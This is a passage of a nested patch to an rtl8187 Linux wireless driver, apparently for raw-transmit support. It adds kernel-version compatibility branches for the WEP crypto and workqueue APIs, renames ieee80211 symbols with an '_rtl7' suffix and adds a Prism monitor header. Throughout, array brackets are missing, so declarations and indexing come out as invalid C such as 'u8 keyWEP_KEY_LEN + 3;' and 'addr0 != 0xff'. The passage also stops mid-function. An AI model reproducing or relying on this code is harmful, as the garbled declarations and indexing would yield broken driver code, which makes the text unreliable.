++		       "crypto API arc4\n");
++		priv->tx_tfm = NULL;
++		goto fail;
++	}
+ 
++	priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC);
++	if (IS_ERR(priv->rx_tfm)) {
++		printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate "
++		       "crypto API arc4\n");
++		priv->rx_tfm = NULL;
++		goto fail;
++	}
++#endif
+ 	/* start WEP IV from a random value */
+ 	get_random_bytes(&priv->iv, 4);
+ 
+@@ -64,19 +96,35 @@
+ 
+ fail:
+ 	if (priv) {
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 		if (priv->tfm)
+ 			crypto_free_tfm(priv->tfm);
++#else
++		if (priv->tx_tfm)
++			crypto_free_blkcipher(priv->tx_tfm);
++		if (priv->rx_tfm)
++			crypto_free_blkcipher(priv->rx_tfm);
++#endif
+ 		kfree(priv);
+ 	}
+ 	return NULL;
+ }
+ 
+ 
+-static void prism2_wep_deinit(void *priv)
++static void prism2_wep_deinit_rtl7(void *priv)
+ {
+ 	struct prism2_wep_data *_priv = priv;
++#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)
+ 	if (_priv && _priv->tfm)
+ 		crypto_free_tfm(_priv->tfm);
++#else
++	if (_priv) {
++		if (_priv->tx_tfm)
++			crypto_free_blkcipher(_priv->tx_tfm);
++		if (_priv->rx_tfm)
++			crypto_free_blkcipher(_priv->rx_tfm);
++	}
++#endif
+ 	kfree(priv);
+ }
+ 
+@@ -87,13 +135,16 @@
+  *
+  * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data))
+  */
+-static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 	u32 crc, klen, len;
+ 	u8 keyWEP_KEY_LEN + 3;
+ 	u8 *pos, *icv;
+ 	struct scatterlist sg;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = wep->tx_tfm };
++#endif
+ 
+ 	if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 ||
+ 	    skb->len < hdr_len)
+@@ -134,13 +185,21 @@
+ 	icv2 = crc >> 16;
+ 	icv3 = crc >> 24;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(wep->tfm, key, klen);
++#else
++	crypto_blkcipher_setkey(wep->tx_tfm, key, klen);
++#endif
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = len + 4;
+-	crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4);
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++	crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4);
+ 	return 0;
++#else
++	return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4);
++#endif
+ }
+ 
+ 
+@@ -151,13 +210,16 @@
+  * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on
+  * failure. If frame is OK, IV and ICV will be removed.
+  */
+-static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv)
++static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 	u32 crc, klen, plen;
+ 	u8 keyWEP_KEY_LEN + 3;
+ 	u8 keyidx, *pos, icv4;
+ 	struct scatterlist sg;
++#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19))
++	struct blkcipher_desc desc = { .tfm = wep->rx_tfm };
++#endif
+ 
+ 	if (skb->len < hdr_len + 8)
+ 		return -1;
+@@ -178,11 +240,22 @@
+ 	/* Apply RC4 to data and compute CRC32 over decrypted data */
+ 	plen = skb->len - hdr_len - 8;
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_setkey(wep->tfm, key, klen);
++#else
++	crypto_blkcipher_setkey(wep->rx_tfm, key, klen);
++#endif
++
+ 	sg.page = virt_to_page(pos);
+ 	sg.offset = offset_in_page(pos);
+ 	sg.length = plen + 4;
++
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ 	crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4);
++#else
++	if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4))
++		return -7;
++#endif
+ 
+ 	crc = ~crc32_le(~0, pos, plen);
+ 	icv0 = crc;
+@@ -203,7 +276,7 @@
+ }
+ 
+ 
+-static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv)
++static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 
+@@ -217,7 +290,7 @@
+ }
+ 
+ 
+-static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv)
++static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 
+@@ -230,7 +303,7 @@
+ }
+ 
+ 
+-static char * prism2_wep_print_stats(char *p, void *priv)
++static char * prism2_wep_print_stats_rtl7(char *p, void *priv)
+ {
+ 	struct prism2_wep_data *wep = priv;
+ 	p += sprintf(p, "key%d alg=WEP len=%d\n",
+@@ -239,34 +312,34 @@
+ }
+ 
+ 
+-static struct ieee80211_crypto_ops ieee80211_crypt_wep = {
++static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = {
+ 	.name			= "WEP",
+-	.init			= prism2_wep_init,
+-	.deinit			= prism2_wep_deinit,
+-	.encrypt_mpdu		= prism2_wep_encrypt,
+-	.decrypt_mpdu		= prism2_wep_decrypt,
++	.init			= prism2_wep_init_rtl7,
++	.deinit			= prism2_wep_deinit_rtl7,
++	.encrypt_mpdu		= prism2_wep_encrypt_rtl7,
++	.decrypt_mpdu		= prism2_wep_decrypt_rtl7,
+ 	.encrypt_msdu		= NULL,
+ 	.decrypt_msdu		= NULL,
+-	.set_key		= prism2_wep_set_key,
+-	.get_key		= prism2_wep_get_key,
+-	.print_stats		= prism2_wep_print_stats,
++	.set_key		= prism2_wep_set_key_rtl7,
++	.get_key		= prism2_wep_get_key_rtl7,
++	.print_stats		= prism2_wep_print_stats_rtl7,
+ 	.extra_prefix_len	= 4, /* IV */
+ 	.extra_postfix_len	= 4, /* ICV */
+ 	.owner			= THIS_MODULE,
+ };
+ 
+ 
+-static int __init ieee80211_crypto_wep_init(void)
++static int __init ieee80211_crypto_wep_init_rtl7(void)
+ {
+-	return ieee80211_register_crypto_ops(&ieee80211_crypt_wep);
++	return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7);
+ }
+ 
+ 
+-static void __exit ieee80211_crypto_wep_exit(void)
++static void __exit ieee80211_crypto_wep_exit_rtl7(void)
+ {
+-	ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep);
++	ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7);
+ }
+ 
+ 
+-module_init(ieee80211_crypto_wep_init);
+-module_exit(ieee80211_crypto_wep_exit);
++module_init(ieee80211_crypto_wep_init_rtl7);
++module_exit(ieee80211_crypto_wep_exit_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h
+--- rtl8187_orig/ieee80211/ieee80211.h	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211.h	2007-06-05 14:00:34.000000000 +0200
+@@ -156,6 +156,22 @@
+ 	struct list_head list;
+ };
+ 
++#define LWNG_CAP_DID_BASE   (4 | (1 << 6)) /* section 4, group 1 */
++/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header
++ * (from linux-wlan-ng) */
++struct linux_wlan_ng_val {
++	u32 did;
++	u16 status, len;
++	u32 data;
++} __attribute__ ((packed));
++
++struct linux_wlan_ng_prism_hdr {
++	u32 msgcode, msglen;
++	char devname16;
++	struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal,
++		noise, rate, istx, frmlen;
++} __attribute__ ((packed));
++
+ struct ieee80211_hdr {
+ 	u16 frame_ctl;
+ 	u16 duration_id;
+@@ -840,14 +856,14 @@
+ 
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11))
+-extern inline int is_multicast_ether_addr(const u8 *addr)
++extern inline int is_multicast_ether_addr_rtl7(const u8 *addr)
+ {
+         return ((addr0 != 0xff) && (0x01 & addr0));
+ }
+ #endif
+ 
+ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13))
+-extern inline int is_broadcast_ether_addr(const u8 *addr)
++extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr)
+ {
+ 	return ((addr0 == 0xff) && (addr1 == 0xff) && (addr2 == 0xff) &&   \
+ 		(addr3 == 0xff) && (addr4 == 0xff) && (addr5 == 0xff));
+@@ -1015,10 +1031,16 @@
+ 	struct timer_list beacon_timer;
+ 	
+ 	struct work_struct associate_complete_wq;
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++	struct delayed_work associate_retry_wq;
++	struct delayed_work softmac_scan_wq;
++#else
+ 	struct work_struct associate_retry_wq;
++	struct work_struct softmac_scan_wq;
++#endif
+ 	struct work_struct start_ibss_wq;
+ 	struct work_struct associate_procedure_wq;
+-	struct work_struct softmac_scan_wq;
+ 	struct work_struct wx_sync_scan_wq;
+ 	
+ 	struct workqueue_struct *wq;
+@@ -1154,12 +1176,12 @@
+ 
+ 
+ 
+-extern inline void *ieee80211_priv(struct net_device *dev)
++extern inline void *ieee80211_priv_rtl7(struct net_device *dev)
+ {
+ 	return ((struct ieee80211_device *)netdev_priv(dev))->priv;
+ }
+ 
+-extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len)
++extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len)
+ {
+ 	/* Single white space is for Linksys APs */
+ 	if (essid_len == 1 && essid0 == ' ')
+@@ -1175,7 +1197,7 @@
+ 	return 1;
+ }
+ 
+-extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode)
++extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode)
+ {
+ 	/*
+ 	 * It is possible for both access points and our device to support
+@@ -1201,7 +1223,7 @@
+ 	return 0;
+ }
+ 
+-extern inline int ieee80211_get_hdrlen(u16 fc)
++extern inline int ieee80211_get_hdrlen_rtl7(u16 fc)
+ {
+ 	int hdrlen = 24;
+ 
+@@ -1229,140 +1251,144 @@
+ 
+ 
+ /* ieee80211.c */
+-extern void free_ieee80211(struct net_device *dev);
+-extern struct net_device *alloc_ieee80211(int sizeof_priv);
++extern void free_ieee80211_rtl7(struct net_device *dev);
++extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv);
+ 
+-extern int ieee80211_set_encryption(struct ieee80211_device *ieee);
++extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee);
+ 
+ /* ieee80211_tx.c */
+ 
+-extern int ieee80211_encrypt_fragment(
++extern int ieee80211_encrypt_fragment_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct sk_buff *frag,
+ 	int hdr_len);
+ 	
+-extern int ieee80211_xmit(struct sk_buff *skb,
++extern int ieee80211_xmit_rtl7(struct sk_buff *skb,
+ 			  struct net_device *dev);
+-extern void ieee80211_txb_free(struct ieee80211_txb *);
++extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *);
+ 
+ 
+ /* ieee80211_rx.c */
+-extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats);
+-extern void ieee80211_rx_mgt(struct ieee80211_device *ieee,
++extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee,
+ 			     struct ieee80211_hdr *header,
+ 			     struct ieee80211_rx_stats *stats);
+ 
+ /* ieee80211_wx.c */
+-extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+ /* ieee80211_softmac.c */
+-extern short ieee80211_is_54g(struct ieee80211_network net);
+-extern short ieee80211_is_shortslot(struct ieee80211_network net);
+-extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern short ieee80211_is_54g_rtl7(struct ieee80211_network net);
++extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net);
++extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype);
+-extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net);
++extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net);
+ 
+-extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_master_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_ibss(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_init(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_free(struct ieee80211_device *ieee);
+-extern void ieee80211_associate_abort(struct ieee80211_device *ieee);
+-extern void ieee80211_disassociate(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_scan(struct ieee80211_device *ieee);
+-extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee);
+-extern void ieee80211_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_reset_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_wake_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_queue(struct ieee80211_device *ieee);
+-extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee);
+-extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee);
+-extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p);
+-extern void notify_wx_assoc_event(struct ieee80211_device *ieee);
+-extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success);
++extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
++extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee);
++extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p);
++extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success);
+ 
+ /* ieee80211_softmac_wx.c */
+ 
+-extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, 
+ 			    struct iw_request_info *info, 
+ 			    union iwreq_data *wrqu, char *ext);
+ 			    
+-extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee,
+ 			 struct iw_request_info *info,
+ 			 union iwreq_data *awrq,
+ 			 char *extra);
+ 			 
+-extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
++extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
+ 
+-extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, 
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *extra);
+ 			      
+-extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee);
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work);
++#else
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee);
++#endif
+ 
+-extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, 
+ 			       struct iw_request_info *info, 
+ 			       union iwreq_data *wrqu, char *extra);
+ 			       
+-extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_set_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_get_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 				 			     
+-extern const long ieee80211_wlan_frequencies;
++extern const long ieee80211_wlan_frequencies_rtl7;
+ 
+-extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee)
++extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->scans++;
+ }
+ 
+-extern inline int ieee80211_get_scans(struct ieee80211_device *ieee)
++extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	return ieee->scans;
+ }
+@@ -1372,7 +1398,7 @@
+ 	const char *s = essid;
+ 	char *d = escaped;
+ 
+-	if (ieee80211_is_empty_essid(essid, essid_len)) {
++	if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) {
+ 		memcpy(escaped, "<hidden>", sizeof("<hidden>"));
+ 		return escaped;
+ 	}
+diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c
+--- rtl8187_orig/ieee80211/ieee80211_module.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_module.c	2007-06-05 14:00:28.000000000 +0200
+@@ -31,7 +31,6 @@
+ *******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,12 @@
+ #include <asm/uaccess.h>
+ #include <net/arp.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_DESCRIPTION("802.11 data/management/control stack");
+@@ -60,7 +65,7 @@
+ 
+ #define DRV_NAME "ieee80211"
+ 
+-static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee)
++static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (ieee->networks)
+ 		return 0;
+@@ -80,7 +85,7 @@
+ 	return 0;
+ }
+ 
+-static inline void ieee80211_networks_free(struct ieee80211_device *ieee)
++static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (!ieee->networks)
+ 		return;
+@@ -88,7 +93,7 @@
+ 	ieee->networks = NULL;
+ }
+ 
+-static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee)
++static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee)
+ {
+ 	int i;
+ 
+@@ -99,7 +104,7 @@
+ }
+ 
+ 
+-struct net_device *alloc_ieee80211(int sizeof_priv)
++struct net_device *alloc_ieee80211_rtl7(int sizeof_priv)
+ {
+ 	struct ieee80211_device *ieee;
+ 	struct net_device *dev;
+@@ -113,17 +118,17 @@
+ 		goto failed;
+ 	}
+ 	ieee = netdev_priv(dev);
+-	dev->hard_start_xmit = ieee80211_xmit;
++	dev->hard_start_xmit = ieee80211_xmit_rtl7;
+ 
+ 	ieee->dev = dev;
+ 
+-	err = ieee80211_networks_allocate(ieee);
++	err = ieee80211_networks_allocate_rtl7(ieee);
+ 	if (err) {
+ 		IEEE80211_ERROR("Unable to allocate beacon storage: %d\n",
+ 				err);
+ 		goto failed;
+ 	}
+-	ieee80211_networks_initialize(ieee);
++	ieee80211_networks_initialize_rtl7(ieee);
+ 
+ 	/* Default fragmentation threshold is maximum payload size */
+ 	ieee->fts = DEFAULT_FTS;
+@@ -138,7 +143,7 @@
+ 	INIT_LIST_HEAD(&ieee->crypt_deinit_list);
+ 	init_timer(&ieee->crypt_deinit_timer);
+ 	ieee->crypt_deinit_timer.data = (unsigned long)ieee;
+-	ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler;
++	ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7;
+ 
+ 	spin_lock_init(&ieee->lock);
+ 
+@@ -149,7 +154,7 @@
+  	ieee->ieee802_1x = 1;
+ 	ieee->raw_tx = 0;
+ 	
+-	ieee80211_softmac_init(ieee);
++	ieee80211_softmac_init_rtl7(ieee);
+ 	
+ 	for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++)
+ 		INIT_LIST_HEAD(&ieee->ibss_mac_hashi);
+@@ -167,7 +172,7 @@
+ }
+ 
+ 
+-void free_ieee80211(struct net_device *dev)
++void free_ieee80211_rtl7(struct net_device *dev)
+ {
+ 	struct ieee80211_device *ieee = netdev_priv(dev);
+ 
+@@ -175,9 +180,9 @@
+ 	struct list_head *p, *q;
+ 	
+ 	
+-	ieee80211_softmac_free(ieee);
++	ieee80211_softmac_free_rtl7(ieee);
+ 	del_timer_sync(&ieee->crypt_deinit_timer);
+-	ieee80211_crypt_deinit_entries(ieee, 1);
++	ieee80211_crypt_deinit_entries_rtl7(ieee, 1);
+ 
+ 	for (i = 0; i < WEP_KEYS; i++) {
+ 		struct ieee80211_crypt_data *crypt = ieee->crypti;
+@@ -191,7 +196,7 @@
+ 		}
+ 	}
+ 
+-	ieee80211_networks_free(ieee);
++	ieee80211_networks_free_rtl7(ieee);
+ 	
+ 	for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) {
+ 		list_for_each_safe(p, q, &ieee->ibss_mac_hashi) {
+@@ -210,13 +215,13 @@
+ u32 ieee80211_debug_level = 0;
+ struct proc_dir_entry *ieee80211_proc = NULL;
+ 
+-static int show_debug_level(char *page, char **start, off_t offset,
++static int show_debug_level_rtl7(char *page, char **start, off_t offset,
+ 			    int count, int *eof, void *data)
+ {
+ 	return snprintf(page, count, "0x%08X\n", ieee80211_debug_level);
+ }
+ 
+-static int store_debug_level(struct file *file, const char *buffer,
++static int store_debug_level_rtl7(struct file *file, const char *buffer,
+ 			     unsigned long count, void *data)
+ {
+ 	char buf = "0x00000000";
+@@ -243,7 +248,7 @@
+ 	return strnlen(buf, count);
+ }
+ 
+-static int __init ieee80211_init(void)
++static int __init ieee80211_init_rtl7(void)
+ {
+ 	struct proc_dir_entry *e;
+ 
+@@ -268,7 +273,7 @@
+ 	return 0;
+ }
+ 
+-static void __exit ieee80211_exit(void)
++static void __exit ieee80211_exit_rtl7(void)
+ {
+ 	if (ieee80211_proc) {
+ 		remove_proc_entry("debug_level", ieee80211_proc);
+@@ -282,9 +287,9 @@
+ MODULE_PARM_DESC(debug, "debug output mask");
+ 
+ 
+-module_exit(ieee80211_exit);
+-module_init(ieee80211_init);
++module_exit(ieee80211_exit_rtl7);
++module_init(ieee80211_init_rtl7);
+ #endif
+ 
+-EXPORT_SYMBOL(alloc_ieee80211);
+-EXPORT_SYMBOL(free_ieee80211);
++EXPORT_SYMBOL(alloc_ieee80211_rtl7);
++EXPORT_SYMBOL(free_ieee80211_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c
+--- rtl8187_orig/ieee80211/ieee80211_rx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_rx.c	2007-06-05 14:00:28.000000000 +0200
+@@ -22,7 +22,6 @@
+  
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -43,18 +42,85 @@
+ #include <asm/uaccess.h>
+ #include <linux/ctype.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
++
+ #include "ieee80211.h"
+ 
+-static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee,
++static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee,
+ 					struct sk_buff *skb,
+ 					struct ieee80211_rx_stats *rx_stats)
+ {
+-	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
+-	u16 fc = le16_to_cpu(hdr->frame_ctl);
++	struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data;
++	u16 fc = le16_to_cpu(hdr1->frame_ctl);
++	int prism_header;
++	int hdrlen, phdrlen, head_need, tail_need;
++
++	if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) {
++		prism_header = 1;
++		phdrlen = sizeof(struct linux_wlan_ng_prism_hdr);
++	} else {
++		prism_header = 0;
++		phdrlen = 0;
++	}
++
++	hdrlen = ieee80211_get_hdrlen_rtl7(fc);
++
++	/* check if there is enough room for extra data; if not, expand skb
++	 * buffer to be large enough for the changes */
++	head_need = phdrlen;
